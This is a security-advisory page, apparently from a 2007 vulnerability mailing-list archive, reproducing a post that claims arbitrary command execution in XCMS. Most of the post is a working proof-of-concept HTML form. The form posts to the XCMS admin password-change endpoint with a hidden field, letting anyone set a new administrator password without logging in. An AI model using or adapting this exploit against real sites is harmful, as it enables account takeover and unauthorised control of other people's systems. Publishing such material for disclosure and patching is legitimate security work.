Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  2 vanilla XSS on Wordpress ‘wp-register.php’

  Neuron News 1.0 Local file inclusion (index.php)

From:x0kster_(at)_gmail.com <x0kster_(at)_gmail.com>
Date:24.09.2007
Subject:xcms all version arbitrary code execution

<!--

-[ Name     : XCMS Arbitrary Command Execution Vulnerability                 ]-
-[ Download : http://www.xcms.it/index.php?lng=it&mod=download&pg=indice&c=2 ]-
-[ Author   : x0kster                                                        ]-
-[ Email    : x0kster[AT]gmail[DOT]com                                       ]-
-[ Date     : 20-09-2007                                                     ]-

-->
<html>
<head>
<title>-XCMS Arbitrary Command Execution Vuln by x0kster -</title>
</head>
<body>
<pre>
- [XCMS All Version Arbitrary Command Execution Vulnerability       ] -
- [Bug found by x0kster - x0kster@gmail.com                         ] -
</pre>
<form name="pass" method="post" action="http://www.xcms.it/index.php?lng=it&amp;pg=admin&amp;s=cpass
">
<input type="hidden" name="pass" value="1190316852" />
<pre>
Password        : <input type="password" size="20" name="password_1190316852" />
Repete password : <input type="password" size="20" name="rpassword_1190316852" />
                 <input type="submit" value="Modifica Password" />
</pre>
</form>
</body>
</html>

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru